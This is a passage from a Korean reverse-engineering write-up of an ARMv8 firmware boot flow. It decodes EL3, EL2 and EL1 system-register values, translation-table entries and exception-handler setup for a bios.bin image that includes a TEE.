&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SCR_EL3&lt;/strong&gt;: 0x238; EA=1, TWE=1
&lt;ul&gt;
&lt;li&gt;EA: When executing at any Exception level, External aborts and SError exceptions are taken to EL3.&lt;/li&gt;
&lt;li&gt;TWE: Any attempt to execute a WFE instruction at any Exception level lower than EL3 is trapped to EL3, if the instruction would otherwise have caused the PE to enter a low-power state and it is not trapped by &lt;a href=&#34;https://developer.arm.com/documentation/ddi0601/2024-03/AArch32-Registers/SCTLR--System-Control-Register?lang=en&#34;&gt;SCTLR&lt;/a&gt;.nTWE, &lt;a href=&#34;https://developer.arm.com/documentation/ddi0601/2024-03/AArch32-Registers/HCR--Hyp-Configuration-Register?lang=en&#34;&gt;HCR&lt;/a&gt;.TWE, &lt;a href=&#34;https://developer.arm.com/documentation/ddi0601/2024-03/AArch64-Registers/SCTLR-EL1--System-Control-Register--EL1-?lang=en&#34;&gt;SCTLR_EL1&lt;/a&gt;.nTWE, &lt;a href=&#34;https://developer.arm.com/documentation/ddi0601/2024-03/AArch64-Registers/SCTLR-EL2--System-Control-Register--EL2-?lang=en&#34;&gt;SCTLR_EL2&lt;/a&gt;.nTWE, or &lt;a href=&#34;https://developer.arm.com/documentation/ddi0601/2024-03/AArch64-Registers/HCR-EL2--Hypervisor-Configuration-Register?lang=en&#34;&gt;HCR_EL2&lt;/a&gt;.TWE.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MDCR_EL3&lt;/strong&gt;: 0x18000; SDD=1, SPD32=0b10
&lt;ul&gt;
&lt;li&gt;SDD: Debug exceptions, other than Breakpoint Instruction exceptions, are disabled from all Exception levels in Secure state.&lt;/li&gt;
&lt;li&gt;SPD32: Secure privileged debug disabled. Debug exceptions from Secure EL1 are disabled.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DAIF&lt;/strong&gt;: 0x160; D=1, I=1, F=1
&lt;ul&gt;
&lt;li&gt;Debug, IRQ, FIQ 를 무시하고 SError 만 허용한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CPTR_EL3&lt;/strong&gt;: 0x00&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SPSEL&lt;/strong&gt;: 수시로 바뀜&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;exception-handler-설정&#34;&gt;Exception Handler 설정&lt;/h4&gt;
&lt;p&gt;IVT 를 설정하는 레지스터인 &lt;strong&gt;VBAR_EL3&lt;/strong&gt;는 &lt;code&gt;0x2000&lt;/code&gt; 으로 설정된다. 해당 주소를 보면 총 16 개의 Exception Handler 가 존재한다.&lt;br&gt;
하지만 이 중 유의미한 동작을 하는 Handler 는 자신보다 낮은 EL 에서 발생하는 Synchronous Exception 을 처리하는 2 개의 Handler 밖에 없다. 그리고 이 2 개의 Handler 도 TrustOS 를 초기화하는 비슷한 동작을 수행한다.&lt;/p&gt;
&lt;h4 id=&#34;mmu-설정&#34;&gt;MMU 설정&lt;/h4&gt;
&lt;p&gt;여기서 설정하는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TCR_EL3&lt;/strong&gt;: 0x100022; T0SZ=34, TBI=1
&lt;ul&gt;
&lt;li&gt;T0SZ: The size offset of the memory region addressed by &lt;a href=&#34;https://developer.arm.com/documentation/ddi0601/2024-03/AArch64-Registers/TTBR0-EL3--Translation-Table-Base-Register-0--EL3-?lang=en&#34;&gt;TTBR0_EL3&lt;/a&gt;. The region size is $2^{(64-\{T0SZ})}$ bytes.&lt;/li&gt;
&lt;li&gt;TBI: Top Byte ignored in the address calculation.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MAIR_EL3&lt;/strong&gt;: 0xDD440400
&lt;ul&gt;
&lt;li&gt;Attr0=0x00; Device-nGnRnE&lt;/li&gt;
&lt;li&gt;Attr1=0x04; Device-nGnRE&lt;/li&gt;
&lt;li&gt;Attr2=0x44; Device-nGnRE, (If FEAT_XS is implemented) Normal Inner Non-cacheable, Outer Non-cacheable&lt;/li&gt;
&lt;li&gt;Attr3=0xDD; Unpredictable&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SCTLR_EL3&lt;/strong&gt;: M |= 1
&lt;ul&gt;
&lt;li&gt;M: EL3 stage 1 address translation enabled.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TTBR0_EL3&lt;/strong&gt;: 0xe203000 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;0x00: 0xE003003 (Entry: 0xE003000) -&amp;gt;
&lt;ul&gt;
&lt;li&gt;0x0: 0x783&lt;/li&gt;
&lt;li&gt;0x1: 0x1783&lt;/li&gt;
&lt;li&gt;0x2: 0x2783&lt;/li&gt;
&lt;li&gt;0x3: 0 …&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x47: 0xE004003 … -&amp;gt; 0&lt;/li&gt;
&lt;li&gt;0x48: 0xE04B003 (Entry: 0xE04B000) -&amp;gt;
&lt;ul&gt;
&lt;li&gt;0x0: 0x40000009000703&lt;/li&gt;
&lt;li&gt;0x1: 0 …&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x6F: 0xE04C003 … -&amp;gt; 0&lt;/li&gt;
&lt;li&gt;0x70: 0xE073003 (Entry: 0xE073000) -&amp;gt;
&lt;ul&gt;
&lt;li&gt;0x0000: 0x4000000E000703&lt;/li&gt;
&lt;li&gt;0x0001: 0x4000000E001703&lt;/li&gt;
&lt;li&gt;0x0002: 0x4000000E002703&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;0x01FF: 0x4000000E203703&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x71: 0xE074003 (Entry: 0xE074000) -&amp;gt;
&lt;ul&gt;
&lt;li&gt;0x0: 0x4000000E200703&lt;/li&gt;
&lt;li&gt;0x1: 0x4000000E201703&lt;/li&gt;
&lt;li&gt;0x2: 0x4000000E202703&lt;/li&gt;
&lt;li&gt;0x3: 0x4000000E203703&lt;/li&gt;
&lt;li&gt;0x4: 0 …&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0xE075003 … 0xE202003-&amp;gt; 0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;T0SZ=34&lt;/code&gt; 이기 때문에 OA 는 0~29 비트만 사용할 수 있다. 또한 &lt;code&gt;TCR_EL3.DS=0&lt;/code&gt; 이고 &lt;code&gt;TCR_EL3.PS=0b000&lt;/code&gt; 이기 때문에 32-bit OA 를 사용한다. 즉, Level 2 와 Level 3 만 사용한다. 따라서 두 번째로 나타나는 Entry 는 Page Entry 이다.&lt;br&gt;
&lt;img src=&#34;./images/arm_virtual_address_bits_meaning.png&#34; alt=&#34;arm_virtual_address_bits_meaning.png&#34;&gt;
이 점을 생각하면서 테이블에 있는 Page Entry 를 해석하면 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0xE003003 -&amp;gt; 0xn783&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;1 번째 비트가 1 이므로 Page Entry 를 사용&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;SH[1:0] = 0b11&lt;/li&gt;
&lt;li&gt;AP = 0b10; PrivRead&lt;/li&gt;
&lt;li&gt;AttrIndx = 0&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0xn000&lt;/code&gt; (&lt;code&gt;(0x00 &amp;lt;&amp;lt; 21) + (0xn &amp;lt;&amp;lt; 12)&lt;/code&gt;) (0 &amp;lt;= n &amp;lt;= 2)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0xn000&lt;/code&gt; (0x00 &amp;lt;= n &amp;lt;= 2)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x48: 0xE04B003 -&amp;gt; 0x40000009000703&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;1 번째 비트가 1 이므로 Page Entry 를 사용&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;AP=0b00; PrivRead, PrivWrite&lt;/li&gt;
&lt;li&gt;SH[1:0] = 0b11&lt;/li&gt;
&lt;li&gt;XN = 1&lt;/li&gt;
&lt;li&gt;AttrIndx = 0&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0x9000000&lt;/code&gt; (&lt;code&gt;(0x48 &amp;lt;&amp;lt; 21) + (0x0 &amp;lt;&amp;lt; 12)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0x9000000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x70: 0xE073003 -&amp;gt; 0x4000000Ennn703&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;1 번째 비트가 1 이므로 Page Entry 를 사용&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;AP = 0b00; PrivRead, PrivWrite&lt;/li&gt;
&lt;li&gt;SH[1:0] = 0b11&lt;/li&gt;
&lt;li&gt;XN = 1&lt;/li&gt;
&lt;li&gt;AttrIndx = 0&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0xEnnn000&lt;/code&gt; (&lt;code&gt;(0x70 &amp;lt;&amp;lt; 21) + (0xnnn &amp;lt;&amp;lt; 12)&lt;/code&gt;) (0 &amp;lt;= nnn &amp;lt;= 0x01FFF)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0xEnnn000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x71: 0xE074003 -&amp;gt; 0x4000000E20n703&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;1 번째 비트가 1 이므로 Page Entry 를 사용&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;AP = 0b00; PrivRead, PrivWrite&lt;/li&gt;
&lt;li&gt;SH[1:0] = 0b11&lt;/li&gt;
&lt;li&gt;XN = 1&lt;/li&gt;
&lt;li&gt;AttrIndx = 0&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0xE20n000&lt;/code&gt; (&lt;code&gt;(0x71 &amp;lt;&amp;lt; 21) + (0xn &amp;lt;&amp;lt; 12)&lt;/code&gt;) (0 &amp;lt;= n &amp;lt;= 3)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0xE20n000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;el2-및-el1-바이너리-복사&#34;&gt;EL2 및 EL1 바이너리 복사&lt;/h4&gt;
&lt;p&gt;EL2 의 코드 영역을 0x40100000 에 복사하고 EL1 의 코드 영역 (Translation Table 포함) 을 0x40000000 에 복사한다.&lt;br&gt;
그 외에도 TEE 와 관련된 데이터를 0xE000000 와 0xE400000(TEE PC) 에 복사한다. 참고로 TrustZone 을 실행할 때 &lt;code&gt;SPSR=0x1d3&lt;/code&gt; 이기 때문에 &lt;code&gt;nRW=1&lt;/code&gt; 이다. 따라서 TrustZone 은 AArch32 로 동작한다.&lt;/p&gt;
&lt;h4 id=&#34;el2-로-넘어가면서-el2-의-entrypoint-실행&#34;&gt;EL2 로 넘어가면서 EL2 의 EntryPoint 실행&lt;/h4&gt;
&lt;p&gt;이 때 설정하는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SCR_EL3&lt;/strong&gt;: 0x731; HCE=1, NS=1, SIF=1, RW=1
&lt;ul&gt;
&lt;li&gt;HCE: The &lt;code&gt;HVC&lt;/code&gt; instruction is enabled at EL1, EL2 or EL3.&lt;/li&gt;
&lt;li&gt;EL0 and EL1 are in Non-secure state, memory accesses from those exception levels cannot access Secure memory.&lt;/li&gt;
&lt;li&gt;SIF: Secure state instruction fetches from Non-secure memory are not permitted.&lt;/li&gt;
&lt;li&gt;RW: The next lower level is AArch64.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그리고 EL2 로 넘어가면서 EntryPoint 를 실행하기 위해 설정하는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SPSR_EL3&lt;/strong&gt;: 0x3c9; D=1, A=1, I=1, F=1, EL2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ELR_EL3&lt;/strong&gt;: 0x40100000&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그리고 &lt;code&gt;ERET&lt;/code&gt; 을 통해 EL2 의 EntryPoint 를 실행한다.&lt;/p&gt;
&lt;h3 id=&#34;el2&#34;&gt;EL2&lt;/h3&gt;
&lt;p&gt;EL2 의 Entry Point 는 bios.bin 의 &lt;code&gt;0x0001_0000&lt;/code&gt; 에 위치한다. 메모리에 로드되면 &lt;code&gt;0x40100000&lt;/code&gt; 에 위치한다.&lt;br&gt;
부팅을 할 때 EL2 에서 수행하는 동작은 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EL2 레지스터 설정&lt;/li&gt;
&lt;li&gt;Exception Handler 설정&lt;/li&gt;
&lt;li&gt;UART 설정&lt;/li&gt;
&lt;li&gt;MMU 설정
&lt;ul&gt;
&lt;li&gt;Translation Table 설정&lt;/li&gt;
&lt;li&gt;VA -&amp;gt; IPA 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;EL1 으로 넘어가면서 EL1 의 EntryPoint(EL1_VA:&lt;code&gt;0x00&lt;/code&gt; = PA:&lt;code&gt;0x40000000&lt;/code&gt;) 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;el2-레지스터-설정&#34;&gt;EL2 레지스터 설정&lt;/h4&gt;
&lt;p&gt;EL2 에서 설정하는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CPACR_EL1&lt;/strong&gt;: 0x300000; FPEN=0b11
&lt;ul&gt;
&lt;li&gt;FPEN: 하위 권한이 EL2 의 SIMD 에 접근할 때 Trap 을 발생시키지 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SPSEL&lt;/strong&gt;: 수시로 바뀜&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;exception-handler-설정-1&#34;&gt;Exception Handler 설정&lt;/h4&gt;
&lt;p&gt;IVT 를 설정하는 레지스터인 &lt;code&gt;VBAR_EL2&lt;/code&gt; 는 0x40101800 로 설정된다. 이 곳에는 &lt;code&gt;Lower EL using AArch64 Synchronous Exception&lt;/code&gt; 을 제외한 다른 예외는 아무런 동작을 하지 않게 설정되어 있다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Lower EL using AArch64 Synchronous Exception&lt;/code&gt; 에서는 &lt;code&gt;ESR_EL2.EC&lt;/code&gt; 에 따라서 두 가지 동작을 수행한다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ESR_EL2.EC == 0x16&lt;/code&gt;: EL2 의 권한으로 Translation Table 의 Entry 를 변경한다&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ESR_EL2.EC == 0x17&lt;/code&gt;: &lt;code&gt;SMC 0x00&lt;/code&gt; 을 통해 EL3 Exception 을 발생시켜 TEE-OS 를 초기화한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;mmu-설정-1&#34;&gt;MMU 설정&lt;/h4&gt;
&lt;p&gt;여기서 설정하는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;VTCR_EL2&lt;/strong&gt;: 0x80000027; T0SZ=39, DS=0, PS=0b000&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VTTBR_EL2&lt;/strong&gt;: 0x40106000 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x40107003&lt;/code&gt; (Descriptor Entry: 0x40107000) -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x40000443&lt;/code&gt; (Page Entry)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0x40001443&lt;/code&gt; (Page Entry)&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0B: 0x4000B443&lt;/code&gt; (Page Entry)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0C: 0x4000004000C4C3&lt;/code&gt; (Page Entry)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0D: 0x4000004000D4C3&lt;/code&gt; (Page Entry)&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x3A: 0x4000004003A4C3&lt;/code&gt; (Page Entry)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x3B: 0x400000090004C3&lt;/code&gt; (Page Entry)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x3C: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x08: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여기서 &lt;code&gt;V~_EL2&lt;/code&gt; 라는 것은 EL1 과 EL0 의 IPA 를 설정하는 것이다. 즉 이 설정으로 인해 EL2 에서 Translation 이 발생하지는 않는다.&lt;br&gt;
&lt;img src=&#34;./images/arm_address_space_in_armb8-a.png&#34; alt=&#34;arm_address_space_in_armb8-a.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;VTCR_EL2.T0SZ=39&lt;/code&gt; 이기 때문에 VA 는 0~24 비트만 사용할 수 있다. 그리고 &lt;code&gt;VTCR_EL2.PS=0b000&lt;/code&gt; 이기 때문에 32bit OA 를 사용한다. 즉, Level 2 와 Level 3 만 사용한다. 따라서 두 번째로 나타나는 Entry 는 Page Entry 이다.&lt;br&gt;
&lt;img src=&#34;./images/arm_virtual_address_bits_meaning.png&#34; alt=&#34;arm_virtual_address_bits_meaning.png&#34;&gt;
이 점을 생각하면서 테이블에 있는 Page Entry 를 해석하면 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x40107003&lt;/code&gt; (Descriptor Entry: 0x40107000) -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x40000443&lt;/code&gt; ~ &lt;code&gt;0x0B: 0x4000B443&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;1 번째 비트가 1 이므로 Page Entry 를 사용&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;S2AP = 0b01; EL0&amp;amp;EL1 can read this memory&lt;/li&gt;
&lt;li&gt;IPA = &lt;code&gt;0xn000&lt;/code&gt; (&lt;code&gt;(0x00 &amp;lt;&amp;lt; 21) + (0xn &amp;lt;&amp;lt; 12)&lt;/code&gt;) (0x00 &amp;lt;= n &amp;lt; 0x0C)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0x4000n000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0C: 0x4000004000C4C3&lt;/code&gt; ~ &lt;code&gt;0x3A: 0x4000004003A4C3&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;1 번째 비트가 1 이므로 Page Entry 를 사용&lt;/li&gt;
&lt;li&gt;NX = 1 (FEAT_XNX is not implemented)&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;S2AP = 0b11; EL0&amp;amp;EL1 can read and write this memory&lt;/li&gt;
&lt;li&gt;IPA = &lt;code&gt;0x0nn000&lt;/code&gt; (&lt;code&gt;(0x00 &amp;lt;&amp;lt; 21) + (0xnn &amp;lt;&amp;lt; 12)&lt;/code&gt;) (0x0C &amp;lt;= nn &amp;lt; 0x3B)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0x400nn000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x3B: 0x400000090004C3&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;1 번째 비트가 1 이므로 Page Entry 를 사용&lt;/li&gt;
&lt;li&gt;NX = 1 (FEAT_XNX is not implemented)&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;S2AP = 0b11; EL0&amp;amp;EL1 can read and write this memory&lt;/li&gt;
&lt;li&gt;IPA = &lt;code&gt;0x03B000&lt;/code&gt; (&lt;code&gt;(0x00 &amp;lt;&amp;lt; 21) + ((0x3B) &amp;lt;&amp;lt; 12)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0x9000000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;el1-으로-넘어가면서-el1-의-entrypoint-실행&#34;&gt;EL1 으로 넘어가면서 EL1 의 EntryPoint 실행&lt;/h4&gt;
&lt;p&gt;이때 설정하는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HCR_EL2&lt;/strong&gt;: 0xc4080001; RW=1, TRVM=1, TVM=1, TSC=1, VM=1
&lt;ul&gt;
&lt;li&gt;RW: EL1 is AArch64. EL0 is determined by the register width described in the current processing state when executing at EL0.&lt;/li&gt;
&lt;li&gt;TRVM: Non-secure EL1 reads are trapped to EL2.&lt;/li&gt;
&lt;li&gt;TVM: DC ZVA instruction is trapped to EL2 when executed in Non-secure EL1 or EL0.&lt;/li&gt;
&lt;li&gt;TSC: &lt;code&gt;SMC&lt;/code&gt; instruction executed in Non-secure EL1 is trapped to EL2 for AArch32 and AArch64 Execution states.&lt;/li&gt;
&lt;li&gt;VM: Enables second stage translation for execution in Non-secure EL1 and EL0.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그리고 EL1 으로 넘어가기 위해 사용하는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SPSR_EL2&lt;/strong&gt;: 0x3c5; E=1, A=1, I=1, F=1, EL1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ELR_EL2&lt;/strong&gt;: VA:0x00 (PA:0x40000000)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그리고 &lt;code&gt;ERET&lt;/code&gt; 을 통해 EL1 의 EntryPoint 를 실행한다.&lt;/p&gt;
&lt;h3 id=&#34;el1&#34;&gt;EL1&lt;/h3&gt;
&lt;p&gt;EL1 의 EntryPoint 는 bios.bin 의 &lt;code&gt;0x000B_0000&lt;/code&gt; 에 위치한다. 메모리에 로드되면 EL1_VA:&lt;code&gt;0x00&lt;/code&gt;(= PA:&lt;code&gt;0x40000000&lt;/code&gt;) 에 위치한다.&lt;/p&gt;
&lt;p&gt;부팅을 할 때 EL1 에서 수행하는 동작은 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;레지스터 설정&lt;/li&gt;
&lt;li&gt;MMU 설정&lt;/li&gt;
&lt;li&gt;Exception Handler 설정 (Main Routine 에서)&lt;/li&gt;
&lt;li&gt;Main Routine 호출&lt;/li&gt;
&lt;li&gt;SMC 호출 (Main Routine 에서)&lt;/li&gt;
&lt;li&gt;EL0 호출 (Main Routine 에서)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;레지스터-설정&#34;&gt;레지스터 설정&lt;/h4&gt;
&lt;p&gt;EL1 의 EntryPoint 에서 설정하는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TCR_EL1&lt;/strong&gt;: 0x6080100010; TBI1=1, TBI0=1, TG1=0b10, T1SZ=0x10, T0SZ=0x10
&lt;ul&gt;
&lt;li&gt;TBI&amp;lt;n&amp;gt;: Top Byte Ignored for TTBR&amp;lt;n&amp;gt;_EL1&lt;/li&gt;
&lt;li&gt;TG&amp;lt;n&amp;gt;: Granule size for the TTBR&amp;lt;n&amp;gt;_EL1&lt;/li&gt;
&lt;li&gt;T&amp;lt;n&amp;gt;SZ: The size offset of the memory region addressed by TTBR&amp;lt;n&amp;gt;_EL1&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SCTLR_EL1&lt;/strong&gt;: 0x30d00801; LSMAOE=1, nTLSMD=1, SPAN=1, EIS=1, TSCXT=1, EOS=1, M=1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SPSEL&lt;/strong&gt;: 수시로 바뀜&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;mmu-설정-2&#34;&gt;MMU 설정&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TTBR0_EL1&lt;/strong&gt;: 0x1000 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x2003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x3003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x401&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01:0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TTBR1_EL1&lt;/strong&gt;: 0x4000 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0 … &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF:0x5003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF:0x6003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x401&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x07: 0x7003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF: 0x3b403&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x08: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TCR_EL1.T1SZ = TCR_EL1.T0SZ = 16 인 것을 생각하면서 위 테이블을 해석하면 다음과 같다.&lt;br&gt;
&lt;img src=&#34;./images/arm_aarch64_ttbr_boundaries_and_va_ranges.png&#34; alt=&#34;arm_aarch64_ttbr_boundaries_and_va_ranges.png&#34;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TTBR0_EL1&lt;/strong&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x2003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x3003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x401&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;2MB Block&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0x0000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IPA = &lt;code&gt;0x0000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01:0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TTBR1_EL1&lt;/strong&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0 … &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF:0x5003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
